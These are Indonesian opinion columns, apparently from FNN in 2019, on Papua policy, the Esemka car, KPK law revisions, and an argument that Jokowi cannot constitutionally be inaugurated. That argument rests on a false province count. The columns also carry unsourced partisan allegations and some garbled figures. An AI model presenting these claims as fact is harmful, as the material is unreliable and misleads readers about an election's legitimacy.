Gubernur Papua Lukas Enembe mengaku kaget dan baru tahu dari media ada pertemuan tersebut. Lukas juga mempertanyakan kapasitas “para tokoh” yang bertemu Jokowi. Oleh : Hersubeno Arief Jakarta, FNN - Puluhan orang yang mengaku sebagai tokoh dan kepala suku Papua bertemu Presiden Jokowi? Tapi mengapa Gubernur Papua dan para tokoh Papua lainnya tak mengakui mereka? Wajah puluhan orang yang mengenakan batik Papua dan topi dari bulu burung cenderawasih, Selasa (10/9) tampak berbinar. Mereka duduk rapih di Istana Merdeka, Jakarta. 61 orang yang dipimpin oleh Ketua DPRD Jayapura Abisai Rollo itu menyebut dirinya tokoh Papua dan Papua Barat. Mereka diundang Presiden Jokowi menyusul kerusuhan di Papua Barat dan Papua pertengahan Agustus lalu. Kepada Presiden mereka menyodorkan sejumlah usulan untuk menyelesaikan masalah di dua provinsi di ujung Timur Indonesia itu. Presiden Jokowi sangat bersemangat menyambut usulan mereka. Termasuk soal pemekaran provinsi di lima wilayah adat, dan peningkatan kualitas sumber daya manusia Papua. Semua usulan diakomodir. Saking bersemangatnya Jokowi mengaku akan memaksa sejumlah BUMN dan perusahaan besar untuk menampung 1.000 sarjana asal Papua yang baru lulus. Sementara pemekaran provinsi, untuk sementara Jokowi menjanjikan, dua sampai tiga provinsi baru. “Siang hari ini saya mau buka (lapangan kerja), ini untuk BUMN dan perusahaan swasta besar yang akan saya paksa. Kalau lewat prosedur nanti kelamaan,” kata Jokowi. Jokowi juga sepakat dengan usulan untuk membangun istana di Jayapura. Apalagi Ketua DPRD Jayapura berjanji menyiapkan 10 hektar lahan gratis. “Tahun depan istana itu akan mulai dibangun,” ujar Abisai menirukan Jokowi. Tak lama setelah Jokowi bertemu para “kepala suku,” muncul pernyataan mengejutkan dari Gubernur Papua Lukas Enembe. Dia mengaku kaget dan baru tahu dari media ada pertemuan tersebut. Lukas juga mempertanyakan kapasitas “para tokoh” yang bertemu Jokowi. Ketua Dewan Perwakilan Rakyat Papua (DPRP) Yunus Wonda dan Ketua Majelis Rakyat Papua Timotius Murib juga bersikap sama. Mengapa mereka tidak dilibatkan? (Salah garuk) Pernyataan Lukas Enembe dan para tokoh Papua menyadarkan kita, ada yang salah dalam penanganan Papua. Seperti bunyi pepatah lama “Kepala yang gatal. Kaki yang digaruk.” Penyakitnya (gatal) tidak sembuh. Yang tidak sakit gatal malah menjadi luka yang lebih dalam. Ada kesan yang sangat kuat Presiden Jokowi menggampangkan persoalan. Atau, jangan-jangan tidak memahami persoalan. Hal itu menjelaskan mengapa Presiden sangat santai menghadapi persoalan Papua. Dia masih bisa nonton wayang dan dagelan sampai tertawa terbahak-bahak. Naik sepeda jalan-jalan di candi Borobudur dan bagi-bagi sertifikat. Masalah Papua, kata Lukas Enembe, tidak cukup hanya diselesaikan dengan membangun istana di Jayapura, membangun asrama mahasiswa, dan pemekaran wilayah seperti disampaikan oleh Abisai. Lagipula di tengah anggaran pemerintah yang sedang defisit, dari mana pula anggaran membangun istana dan pemekaran provinsi itu? Masalah Papua sangat complicated. Salah mendiagnose persoalan, apalagi menggampangkan persoalan. Harga yang dibayar akan sangat mahal. Pulau yang kaya dengan berbagai sumber daya alam itu bisa lepas dari tangan NKRI. Negara-negara adidaya yang sekarang terlibat dalam perang global, dengan senang hati menampung dan mengambil-alih. Hadirnya “para tokoh” yang dipimpin Abisai menjadi contoh kesalahan yang terang benderang. Ada kesan para pembantu dan bawahan Jokowi hanya memberi laporan yang menyenangkan. Abisai adalah Ketua DPRD Jayapura. Politisi Golkar ini pada Pilpres lalu menjadi ketua tim pemenangan Jokowi-Ma’ruf Amin di Jaya Pura. Melihat level ketokohan dan posisinya, sudah jelas dia tidak dalam kapasitas mengatasnamakan tokoh Papua. Sebagai timses Jokowi, Abisai pasti tidak bisa mewakili aspirasi para tokoh yang menuntut pemisahan diri. Agak sulit untuk menemukan adanya tokoh sentral di Papua. Kecuali pejabat formal seperti gubernur atau ketua DPRP. Ada lebih dari 3.00 suku di Papua dan Papua Barat. Bahasa mereka pun berbeda-beda. Apalagi kepentingannya. Tidak mengherankan bila mantan komisioner Komnas HAM Natalius Pigai juga mempersoalkan posisi Abisai. Pigai berasal dari suku Mee, salah satu suku terbesar di Papua. Mereka tersebar mulai dari pegunungan sampai kawasan pesisir di Paniai, Nabire, Doiyai, dan Dogai. Sementara Lukas Enembe berasal dari suku yang lebih besar, yakni Suku Dani. Mereka mendiami kawasan pegunungan. Mulai dari Tolikara,Wamena,Puncak Jaya, Ilaga,Yahukimo, Kurima,dan Tiom. Kalau mau klaim ketokohan, keduanya jelas lebih layak. Lebih representatif untuk diajak bicara. Bukan kali ini saja Jokowi dan para pembantunya terkesan salah memahami orang Papua. Dalam berbagai kesempatan dia membanggakan keberhasilannya membangun jalan Trans Papua. Dia juga pernah naik sepeda motor trail menyusuri beberapa kawasan di Papua. Sayangnya seperti dikatakan oleh Lukas Enembe, orang Papua tidak butuh jalan trans. Mereka tidak pernah melewati jalan itu. Yang dibutuhkan oleh orang Papua adalah dibangun kehidupannya. Pembangunan jalan Trans Papua malah sering menjadi sumber konflik dan masalah. Salah satu contohnya adalah insiden di Nduga. Anggota TNI dan warga menjadi korban tewas. Kasus Papua menjadi tantangan dan pertaruhan besar bagi Jokowi. Di harus membuktikan bahwa basis legitimasinya sangat kuat di dua wilayah ini. Pada Pilpres 2019 Jokowi-Ma’ruf meraih suara di Papua Barat 79.81 persen. Di Papua prosentasenya bahkan lebih besar. Mereka memperoleh 90,12 persen. Di lima kabupaten, yakni Puncak Jaya, Puncak, Lany Jaya, Nduga dan Mamberamo Tengah malah meraih suara fantastis: 1.00 persen. Di kabupaten wilayah pegunungan ini pemilihan dilakukan dengan menggunakan sistem noken. Dengan modal politik seperti itu seharusnya Papua adalah masalah KECIL bagi Jokowi. Kecuali………….End

Lho....Opung Luhut Kok Takut Rem Mobil Esemka Blong?

Oleh : Hersubeno Arief Jakarta, FNN - Pro kontra mobil Esemka terus berlanjut. Fakta ini menunjukkan “rekonsiliasi” yang coba dibangun oleh elit politik, tidak berjalan sebagaimana diharapkan. Mau Prabowo bergabung ke dalam pemerintahan kek. Mau tetap di luar pemerintahan kek, masyarakat sudah telanjur terbelah dalam dua kekuatan besar. Pendukung dan penentang pemerintah. Kelompok pendukung pemerintahan Jokowi mati-matian membela mobil Esemka. Kelompok penentang menganggap mobil Esemka sebagai mobil tipu-tipu. Sama seperti kebanyakan program Jokowi. Bagi para pendukung Jokowi, sebagai pemain pemula, wajar Esemka bekerja sama dengan pabrikan lain. Termasuk pabrikan mobil dari Cina. Sebagaimana pepatah (Cina juga), seribu mil perjalanan, dimulai dengan langkah pertama. Mereka menyebut kubu seberang hanya pandai nyinyir. Tidak punya kontribusi nyata terhadap bangsa. Sekali nyinyir, sampai kapan pun akan tetap nyinyir! Sebaliknya, kubu penentang menilai, peluncuran mobil Esemka oleh Presiden Jokowi, merupakan bukti nyata, rezim pemerintah saat ini sepenuhnya berada di bawah kendali Cina. Mobil Esemka Bima 1.2 itu tak lebih cuma rebadge, alias ganti merek mobil Cina. Mantan Sekretaris Kementrian BUMN Said Didu menyebutnya sebagai pabrik tempel merek. Bukan pabrik mobil. Di tengah-tengah pro kontra tersebut, tiba-tiba muncul video dari Menko Maritim Luhut Binsar Panjaitan. Dalam video tersebut Luhut tampak sedang bercanda dengan wartawan. “Apakah mobil Esemka akan digunakan sebagai kendaraan resmi presiden Jokowi? Luhut menjawab: Kamu, wartawan saja yang naik. "Jangan suruh presiden naik, nanti kita sudah pilih-pilih gara-gara Esemka blong lagi remnya," kata Luhut. Video pendek tersebut langsung viral. Luhut dikenal sebagai tangan kanan Jokowi. Pendukung setia semua gagasan Jokowi. Jadi rada aneh kalau tiba-tiba bersuara miring. Ini berita besar! Sesuai dengan jargon, orang menggigit anjing. Bukan anjing menggigit orang! Luhut "menggigit" Jokowi, jelas berita besar! Setelah ditelusuri, ternyata pernyataan Luhut itu merupakan berita lama. Berita bulan Maret 2017. Konteks beritanya saat itu diketahui mobil presiden beberapa kali mogok. Wakil Ketua DPR Fadlizon menyarankan agar mobil presiden segera diganti dengan mobil Esemka. (Sangat relevan) Lepas dari soal berita baru, atau berita lama, seorang presiden menggunakan kendaraan produk “dalam negeri.” Produk “anak bangsa” sendiri merupakan sebuah kelaziman. Di beberapa negara malah menjadi semacam kewajiban. PM Mahathir dan para pejabat tinggi Malaysia menggunakan Proton Perdana. Ketika Jokowi berkunjung ke Malaysia belum lama ini, dia disopiri Mahathir naik Proton Persona. Kebetulan pula mobil yang dikendarai oleh Jokowi beberapa hari terakhir, kembali mogok. Kamis (5/9) mobil Mercedes Benz tipe S-600 Guard itu mogok ketika digunakan dalam kunjungan ke Pontianak, Kalimantan Barat. Dalam peresmian pabrik Esemka di Boyolali, Jokowi menyerukan agar bangsa Indonesia membeli dan menggunakan mobil tersebut. "Kalau lihat produknya tadi, saya sudah buka, sudah nyoba, sudah lihat sudah test, memang wajib kita beli barang ini. Kalau beli barang dari produk lain ya kebangeten, apalagi yang impor," kata Jokowi. Menyambut pernyataan Jokowi, warga mendorong agar presiden dan para pejabat tinggi memberi contoh. Mereka harus terlebih dahulu menggunakan mobil produk Esemka. Jangan hanya mendorong rakyat, sementara mereka memilih produk lain. Sebagaimana diumumkan oleh Sekretariat Negara, untuk periode 2019-2024 akan ada pengadaan mobil baru. Presiden akan kembali menggunakan kendaraan Mercedes Benz Tipe S-600 Guard. Sementara para menteri tetap menggunakan merek Toyota. Kali ini naik kelas. Dari Toyota Camry menjadi Toyota Royal Saloon. Di dunia maya bergema seruan agar pengadaan mobil baru dari pabrikan Jerman dan Jepang itu dibatalkan. Diganti dengan mobil dari produk Esemka. Momennya pas! Sebagai pemimpin, Jokowi seharusnya memberi contoh. Sesuai dengan prinsip kepemimpinan, Ing Ngarso Sung Tulodo. Seorang pemimpin harus menjadi tauladan. Jangan Jarkoni. Hanya bisa berujar, tapi tidak menjalaninya. Dari beberapa kendaraan yang dipamerkan di pabrik Esemka di Boyolali, ada satu mobil yang tampaknya cocok untuk presiden. Namanya Esemka Moose. Tampilannya gagah dan sangar. Diklaim anti peluru. Lapis baja. Di bagian belakangnya ada tulisan: Armored by Esemka. Kereeennn. TOP Abizz..... Sebuah media melaporkan, Moose sangat mirip dengan mobil mewah merek Volvo XC90. Perbedaan yang mencolok hanya pada grill dan logo. Ketika diintip, di tengah roda kemudi ada logo Volvo. Barangkali ini hanya kebetulan saja. Jangan berpikir negatif dulu. Jangan-jangan ada teknisi Esemka yang iseng menempelkan, karena kemiripannya dengan Volvo. Boleh dong bangga, karena produk Esemka sudah mirip mobil kelas atas di Eropa. Untuk para menteri tersedia dua pilihan. Mobil Jenis SUV Garuda 1 dan Rajawali. Kalau lihat tampilannya, ketiga mobil itu — baik Moose, Garuda 1 dan Rajawali— sangat gagah. Pasti kalau digunakan oleh presiden, para menteri dan pejabat tinggi, dijamin tidak malu-maluin. Dengan predikat mobil buatan anak bangsa sendiri, akan membuat tampilan presiden dan para menteri lebih gagah lagi. Sekaligus sangat nasionalis. Sangat NKRI, karena menggunakan produk dalam negeri. Tak perlu khawatir dicemooh, ditertawakan dunia, kalau sekali-kali, atau beberapa kali mobil Esemka mogok. Mercedes Benz presiden saja sudah berkali-kali mogok. Toh orang berduit di seluruh dunia, tak berhenti menggunakan Mercedes Benz. Mobil Jerman itu tetap menjadi simbol prestise dan gengsi. Hanya yang perlu diantisipasi, kalau sampai remnya blong, seperti kata Opung Luhut. Kalau soal ini sudah berkaitan dengan keselamatan seorang kepala negara. Bagaimana kalau mobil pengangkut barang Esemka Bima yang remnya blong? Please jangan sampai diplesetkan bahwa Bima adalah singkatan dari “bikin malu.” Ini bukan soal bikin malu atau tidak. Tapi sudah menyangkut nyawa manusia. Nyawa seorang warga negara juga sangat berharga lho. Bukan hanya nyawa seorang kepala negara. Jangan dibuat bercanda! End

Berdasar UUD 1945, Jokowi Tidak Boleh Dilantik!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Rangkaian pertemuan Ketum DPP Partai Gerindra Prabowo Subianto dengan Presiden Joko Widodo, dilanjutkan pertemuan Prabowo – Ketum DPP PDIP Megawati Soekarnoputri dan Prabowo – mantan Kepala BIN AM Hendropriyono, perlu dicermati. Kabarnya, setelah bertemu dengan Hendro, Prabowo juga akan bertemu dengan Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono alias SBY. Adakah pembicaraan yang sangat penting dalam pertemuan-pertemuan tersebut? Sudah pasti ada! Baik Jokowi, Megawati, maupun Hendro dan SBY, sebenarnya sudah tahu, meski paslon 01 Joko Widodo – Ma’ruf Amin dinyatakan sebagai pemenang Pilpres, 17 April 2019, namun ternyata berdasarkan UUD 1945 mereka tidak bisa dilantik. Kalau Jokowi – Ma’ruf tetap dilantik, maka MPR justru melanggar konstitusi (pasal 6A UUD 1945 itu). Karena, kedudukan UUD 1945 ditempatkan di posisi tertinggi sebagai sumber dari segala sumber hukum yang berlaku di Indonesia. Artinya, kalau ada aturan perundang-udangan yang bertentangan dengan UUD 1945, maka bisa dinyatakan batal demi hukum. Secara hukum, MPR wajib patuh pada UUD 1945 sebagai sumber dari segala sumber hukum di Indonesia. Semua UU, Peraturan, Keppres, dan Kepmen wajib patuhi UUD 1945. Yang bertentangan dengan isi UUD 19445, harus dibatalkan atau gagal demi hukum. Inilah yang dibahas saat pertemuan Prabowo dengan Megawati, Hendro, dan SBY nantinya. Para elit politik sudah tahu jika Jokowi tak bisa dilantik MPR, karena PKPU tentang Pilpres melawan UUD 1945. DPR terpilih juga tak bisa mengubah UUD 1945 dengan amandemen, karena perubahan hanya berlaku untuk Pilpres 2024. Bukan 2019! Jadi, Jokowi – Ma’ruf terancam gagal dilantik sebagai Presiden – Wapres RI periode 2019-2024. Meski menang secara yuridis formal, secara politis Jokowi – Ma’ruf bisa saja gagal dilantik oleh MPR, sesuai pasal 6A UUD 1945. Menang pada Pilpres 2019 lalu, tapi tak otomatis bisa dilantik. Sesuai pasal 6A UUD 1945, mengharuskan agar pemenang pilpres harus menang di 50% wilayah provinsi dan tidak boleh ada suara di wilayah provinsi yang di bawah 20 persen. Paslon 02 Prabowo Subianto – Sandiaga Uno tidak menang secara nasional (menurut KPU), tapi keduanya menang di 26 provinsi, tidak ada perolehan suara di bawah 20 persen. Dengan demikian maka Prabowo menang 2 poin versi UUD 1945, Jokowi menang hanya 1 poin. Solusinya: Pertama, MPR harus bersidang untuk melantik Prabowo - Sandi, bukan melantik Jokowi – Ma’ruf. Kalau MPR ngotot melantik Jokowi, itu melanggar UUD 1945. Lagi pula kalau Jokowi – Ma’ruf dilantik, maka ada 26 provinsi yang kecewa. Kedua, pemilihan ulang. Banyak rakyat tidak mau pilpres ulang karena mereka yakin bahwa pemenang pilpres adalah Prabowo – Sandi. Jadi, tidak ada alternatif lain kecuali MPR harus melantik Prabowo – Sandi sebagai Presiden dan Wapres RI 2019-2024. Perlu dicatat, UUD 1945 hanya bisa diubah melalui amandemen dalam Sidang Umum MPR, bukan melalui sidang MK atau keputusan KPU yang memenangkan Jokowi – Ma’ruf. Kalau ada putusan yang bertentangan dengan isi UUD 1945, maka batal demi hukum. Pasal 6A ayat (3) UUD 1945 menyatakan, paslon Presiden dan Wapres yang mendapatkan suara lebih dari 50 persen dari jumlah suara dalam pemilihan umum dengan sedikitnya 20 persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia dilantik menjadi Presiden dan Wapres. Dalam pasal tersebut ada tiga syarat dalam memenangkan Pilpres, yakni memperoleh suara lebih dari 50 persen, memenangkan suara setengah dari jumlah provinsi (17 provinsi) dan terakhir, di 17 provinsi lainnya kalah minimal suara 20 persen. “Jangan lupa masalah itu sudah diputus MK tahun 2014. MK memutuskan kalau pasangan capres hanya dua, maka yang berlaku adalah suara terbanyak, tanpa memperhatikan sebaran pemilih lagi,” kata Yusril Izha Mahendra, mantan penasehat hukum Jokowi – Ma’ruf. Pada 2014, MK berpendapat pasal 6A ayat (3) UUD 1945 tidak berlaku ketika hanya terdapat dua pasangan calon sehingga pasangan yang mendapat suara lebih dari 50 persen, tidak perlu lagi menggunakan aturan tentang sebaran. Menurutnya, kalau ada lebih dari dua pasangan, maka jika belum ada salah satu pasangan yang memperoleh suara seperti ketentuan di pasal 6 UUD 1945, maka pasangan tersebut belum otomatis menang. Maka ada putaran kedua. Yusril menambahkan, pada putaran kedua, ketentuan itu tidak berlaku lagi. Yang berlaku adalah yang mendapat suara terbanyak. “Begitu juga jika pasangan sejak awal memang hanya dua, maka yang berlaku adalah suara terbanyak,” kata Yusril. Namun, yang dilupakan Yusril adalah bahwa Jokowi – Ma’ruf tidak memenuhi syarat yang tercantum dalam pasal 6A ayat (3) tersebut. Jokowi – Ma’ruf hanya menang di 8 provinsi, tidak sampai separuh dari jumlah provinsi (17 provinsi). Sedangkan Prabowo – Sandi menang di 26 provinsi, tidak ada perolehan suara di bawah 20 persen. Sehingga, keduanya telah memenuhi syarat sesuai pasal 6A ayat (3) UUD 1945 itu. Inilah dasar hukumnya mengapa Jokowi – Ma’ruf tidak bisa dilantik. Berikut bunyi lengkap Pasal 6A UUD 1945: (1) Presiden dan Wakil Presiden dipilih dalam satu pasangan secara langsung oleh rakyat. (2) Pasangan calon Presiden dan Wakil Presiden diusulkan oleh partai politik atau gabungan partai politik peserta pemilihan umum sebelum pelaksanaan pemilihan umum. (3) Pasangan calon Presiden dan Wakil Presiden yang mendapatkan suara lebih dari lima puluh persen dari jumlah suara dalam pemilihan umum dengan sedikitnya dua puluh persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia, dilantik menjadi Presiden dan Wakil Presiden. Coba simak, dengan sedikitnya dua puluh persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia, secara implisit dapat dikatakan Jokowi – Ma’ruf belum bisa dinyatakan sebagai pemenang karena belum “setengah jumlah provinsi”. Makanya, karena tak bisa dilantik, maka Prabowo – Sandi yang memenuhi syarat itulah yang harus dilantik MPR. Prabowo – Sandi menang di lebih dari setengah jumlah provinsi, yakni tepatnya 26 provinsi dengan suara lebih dari 20 persen suara. Jokowi – Ma’ruf sendiri masih ada beberapa provinsi yang perolehan suaranya kurang dari 20 persen. Makanya, kalau Jokowi sangat ingin bertemu Prabowo itu tidak lain maksudnya adalah untuk mendapatkan legitimasi Prabowo secara politis. Perlu dicatat, jika Prabowo memberi jalan pada Jokowi – Ma’ruf untuk dilantik di MPR, justru mantan Danjen Kopassus ini bisa dianggap telah melanggar UUD 1945. Karena itulah, dia harus bisa menerima keputusan MPR atas dirinya. Bersama Sandi, Prabowo dilantik MPR sebagai Presiden dan Wakil Presiden 2019-2024. Ini juga perlu dicatat bahwa MK tidak berhak untuk mengubah UUD 1945. Catat! UUD 1945, bukan UU! Kedudukan MK tidak boleh di atas UUD 1945. MK itu tak berwenang mengganti atau memasukkan norma baru ke dalam materi muatan (ayat, pasal dan/atau bagian) UU yang telah dinyatakan bertentangan dengan UUD 1945, sehingga tidak mempunyai kekuatan hukum mengikat. Bahwa salah satu wewenang MK adalah mengadili pada tingkat pertama dan terakhir yang putusannya bersifat final untuk menguji undang-undang (UU) terhadap Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 (UUD 1945). Demikian yang diatur dalam Pasal 24C ayat (1) UUD 1945 dan Pasal 10 ayat (1) huruf a UU Nomor 24 Tahun 2003 tentang Mahkamah Konstitusi. Jadi, jika ada putusan MK yang bertentangan dengan UUD 1945 maka dinyatakan batal demi hukum! Dan semua pihak harus menerima dan menghormati itu! *

“Quo Vadis” Pemberantasan Korupsi Indonesia?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Adakah yang menarik terkait Revisi UU Komisi Pemberantasan Korupsi dengan Rancangan Kitab Undang-undang Hukum Pidana? Jawabnya: Ada! Coba saja simak pasal-pasal untuk terpidana korupsi dalam RKUHP yang sedang digodok di DPR. Hukuman bagi koruptor yang diatur dalam sejumlah pasal dalam RKUHP lebih ringan jika dibandingkan dengan yang tertera pada UU Tipikor. Langkah ini jelas bisa membuat korupsi di Indonesia akan semakin marak dan efek jera bagi koruptor akan berkurang. Setidaknya, ada 3 pasal mengenai pidana dan denda bagi koruptor yang bobot hukumannya lebih ringan daripada pasal-pasal dalam UU Nomor 31 Tahun 1999 sebagaimana telah diubah dalam UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Pertama, Pasal 604 RKUHP mengenai perbuatan memperkaya diri serta merugikan keuangan negara berisi ancaman hukuman pidana selama 2 tahun penjara. Padahal, Pasal 2 UU Tipikor, hukuman untuk tindakan serupa diganjar kisaran 4 hingga 20 tahun penjara. “Begitu pula dengan dendanya. Pasal 2 UU Tipikor menetapkan denda paling sedikit Rp 200 juta, namun pada pasal 604 RKUHP dendanya menjadi Rp 10 juta,” ujar Peneliti Pukat UGM Zaenur Rohman, seperti dilansir BBC News Indonesia, Rabu (04/09/2019). Kedua, Pasal 605 RKUHP yang diambil dari Pasal 3 UU Tipikor tentang penyalahgunaan wewenang dan merugikan keuangan negara, sanksi dendanya lebih ringan dari Rp 50 juta menjadi Rp 10 juta. Ketiga, Dalam Pasal 607 Ayat (2) RKUHP yang diambil dari Pasal 11 UU Tipikor tentang penyelenggara yang menerima suap, ancaman hukumannya menjadi lebih ringan dari paling lama 5 tahun penjara menjadi 4 tahun penjara. Pada pasal ini juga, denda terpidana korupsi menjadi Rp 200 juta. Sedangkan denda untuk tindakan serupa diganjar Rp 250 juta pada UU Tipikor. Menurut penilaian Zaenur Rohman, DPR semestinya mencabut seluruh pasal UU Tipikor dari RKUHP. Alih-alih revisi pada KUHP, dia justru berharap ada revisi UU Tipikor sebagai penguatan lembaga KPK dengan memasukkan ketentuan dari United Nation Convention Against Corruption (UNCAC). UU Tipikor belum memenuhi seluruh standar dari UNCAC. Misalnya tentang korupsi di sektor swasta, korupsi yang dilakukan di negara lain. “Ini yang seharusnya diakomodir di dalam peraturan perundang-undangan, bukan malah mengaturnya di RKUHP,” tegasnya. Pakar Hukum Pidana Universitas Trisakti, Abdul Fickar Hadjar, menilai kejahatan luar biasa (extraordinary crime) akan menjadi kejahatan biasa (ordinary crimes) ketika pasal-pasalnya masuk ke dalam RKUHP. Kejahatan luar biasa itu antara lain korupsi hingga terorisme yang sudah diatur dalam undang undang khusus. “Karena pengaturan secara rinci sudah ada di UU khusus itu,” ungkap Fickar, seperti dilansir BBC Indonesia, Rabu (04/09/2019). Jika pasal-pasal dalam UU yang khusus mengatur kejahatan luar biasa masuk dalam RKUHP, tingkat keseriusan dan bobot kejahatannya akan berkurang. “Karena dengan memasukkan ke KUHP, maka itu akan menjadi tindak pidana biasa. Nah, kita keberatan pada itu,” lanjutnya. Ia menyarankan DPR mencabut seluruh pasal-pasal terkait kejahatan luar biasa yang diatur khusus dari RKUHP. “Sebaiknya, UU extraordinary crimes itu tetap berada di luar KUHP,” kata Fickar. Itulah fakta yang terjadi terkait RKUHP. Bagaimana dengan Revisi UU KPK? Inilah yang menarik! Ternyata wewenang KPK bakal dipangkas habis. Yang berkuasa di KPK nantinya adalah Dewan Pengawas (DP) KPK. DP inilah yang nantinya akan mengendalikan kinerja KPK. Semua proses keputusan KPK tidak bisa langsung dieksekusi lagi. Karena harus “seizin” DP terlebih dahulu. Dengan fakta ini, DPR sudah melemahkan KPK dalam upaya pemberantasan korupsi. KPK menjadi Komisi Perlindungan Korupsi! Komisi untuk melindungi perilaku korupsi. Jika ini terjadi, jangan salahkan rakyat kalau DPR dituding sebagai lembaga terkorup di Indonesia. Sehingga perlu untuk diamankan sedemikian rupa sehingga tidak bisa disentuh (ditangkap) KPK. Atas inisiatif DPR itu, semua fraksi setuju dan sepakat untuk merevisi UU Nomor 30 Tahun 2002 tentang KPK, Kamis (5/9/2019). Ada beberapa poin penting yang melemahkan KPK. Pertama, KPK akan dilengkapi Dewan Pengawas (DP). Kekuasaan DP ini sangat besar atas KPK. Kedua, komisioner KPK harus minta izin ke DP untuk melakukan penyadapan telepon dan penggeledahan. Kalau DP tidak setuju, ya KPK tidak bisa mengeksekusi. Ini jelas bisa disalahgunakan. Bukan tidak mungkin, bisa saja ada oknum DP membocorkan operasi penyadapan kepada terduga yang mau disadap. Ketiga, KPK boleh menghentikan penyidikan atas sesuatu kasus. Sehingga, bisa diterbitkan semacam SP3. Melansir tulisan wartawan senior Asyari Usman di fnn.co.id, Jum’at (6/9/2019), yang tidak kalah penting adalah status karyawan KPK yang akan disamakan seperti ASN. Mereka akan menjadi pegawai negeri biasa. Tunduk pada semua aturan tentang ASN. Revisi ini sangat berbahaya. KPK tidak punya keistimewaan lagi. Hampir pasti OTT tidak akan semudah dan seseru sekarang. Sebab, OTT hanya bisa dilakukan dengan penyadapan telepon. “Ini yang justeru dipangkas oleh DPR,” tulis Asyari Usman. Siapa yang berkepentingan dengan revisi ini? Semua fraksi setuju. Itu artinya, semua fraksi merasa OTT KPK mengancam kader mereka, baik yang duduk di DPR maupun yang duduk sebagai kepala daerah (gubernur, bupati, atau walikota). Selama ini, para gubernur dan bupati-walikota yang terkena OTT berasal dari hampir semua fraksi di DPR. Yang paling banyak terkena OTT KPK adalah dari PDIP. Kedua yaitu Golkar. Begitu juga Nasdem, Demokrat, Gerindra, dan lain-lain. “Jika mau jujur, sebenarnya justru Partai Demokrat-lah yang berada dalam urutan pertama sebagai partai terkorup. Tapi, karena KPK dikuasai oleh Partai Biru, sehingga kadernya masih terlindungi,” ungkap sumber Pepnews.com. Coba saja silakan petakan siapa saja anggota komisioner yang menjabat sekarang ini. Ketua KPK Agus Rahardjo disebut-sebut sebagai “orangnya” Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono. Makanya, banyak kader Demokrat yang”lolos”. Pertanyaannya kemudian, apakah Revisi UU KPK tersebut bukan dirangsang oleh sikap KPK selama ini, yang condong ke Partai Biru SBY? Karena, banyak skandal yang mengarah pada kader SBY, tapi tak diproses oleh KPK, seperti skandal Pelindo. Tapi, kalau ke kader partai lain, sangat cepat sekali. Sehingga banyak kader partai lain yang ditangkapi. Sementara pada 2018 dan 2019 ini tidak ada kader Demokrat yang ditangkapi. Padahal banyak yang bisa diproses dan ditersangkakan. Ketua DPP Ikatan Pendukung Kemerdekaan Indonesia (IP-KI) Bambang Sulistomo akan mendukung semua pihak untuk melawan pihak-pihak yang berniat “merongrong” wibawa KPK. Putra Pahlawan Bung Tomo itu secara tegas menolak upaya pelemahan KPK melalui revisi UU 30/2002 KPK. “Segala upaya pelemahan pada KPK akan berdampak pada pelemahan dan keutuhan NKRI,” katanya kepada Pepnews.com. KPK adalah lembaga independen untuk menjaga keutuhan NKRI, dan kelahiran KPK atas UU 30/2002, pada akhirnya merupakan bagian dari sejarah kehendak para pendiri bangsa dan upaya mewujudkan masyarakat adil dan makmur. Tindak pidana korupsi sebagai bentuk kejahatan luar biasa, yang berdampak luas pada semua teks jual-beli hukum. Yakni pada proses pemiskinan masyarakat, pada proses ketimpangan sosial ekonomi, pada proses krisis kepercayaan masyarakat. KPK mendapatkan harapan besar dari masyarakat agar mampu menegakkan kepastian hukum dan keadilan. “IP-KI menolah upaya untuk melemahkan peran dan kekuatan KPK,” tegasnya. Contohlah Hongkong! Kalau DPR ingin Revisi UU KPK, maka KPK harus dijadikan seperti Komisi Pemberantasan Korupsi Hong Kong atau Hong Kong Independent Commission Against Corruption (ICAC). ICAC independen murni sejak pembentukan. Tidak ada personil polisi dan kejaksaan, masih aktif atau mantan. Semua rekrutmen murni dari sipil sejak awal. Sehingga sepak terjang ICAC sangat ditakuti semua pejabat Hongkong. ICAC hanya bertanggungjawab soal penangkapan pada Gubernur Hongkong. Bukan mengkonsultasikan pada Gubernur. Proses penyidikan dan penyelidikan juga berdasar investigasi, berdasar masukan warga dan pengawasan terhadap perilaku pejabat dan petugas negara. Bukan berdasar laporan yang diterimanya. Sehingga yang diburu ICAC murni pelanggaran hukum korupsi. Yang menarik, ICAC juga berhak menangkap Gubernur Hingkong, jika terbukti korupsi. Padahal ICAC bertanggung jawab pada Gubernur Hongkong. Itulah keistimewaan ICAC yang diadopsi Jepang, FBI, dan banyak negara lain di Asia dan Eropa. ICAC disebut-sebut sebagai lembaga tersukses di dunia memberantas korupsi. ICAC didirikan pada 1974, saat korupsi di Hong Kong demikian masif. Saat itu, bisa jadi Hong Kong adalah kota terkorup di dunia. Demikian masifnya, di Hong Kong ada hubungan yang erat antara aparat penegak hukum dengan sindikat kejahatan terorganisasi. Sebut saja perjudian dan narkoba yang saat itu mendapat perlindungan dari oknum-oknum penegak hukum. Saat ICAC dibentuk hanya sedikit yang optimis lembaga ini bisa membawa perubahan. Kebanyak menilai sebagai “Mission Impossible”. Namun, dalam waktu tiga tahun, ICAC sukses menghukum 247 pejabat pemerintah, termasuk 143 polisi. Dalam Millenium Survey terbaru bahwa pendirian ICAC menempati posisi ke-6 peristiwa terpenting sepanjang 150 tahun sejarah Hong Kong. Tampaknya KPK masih sulit untuk bisa menjadi seperti ICAC jika anggotanya berasal bukan dari masyarakat sipil murni! *

Sawunggalih Artfest 2019, Membumikan Jati Diri Purworejo

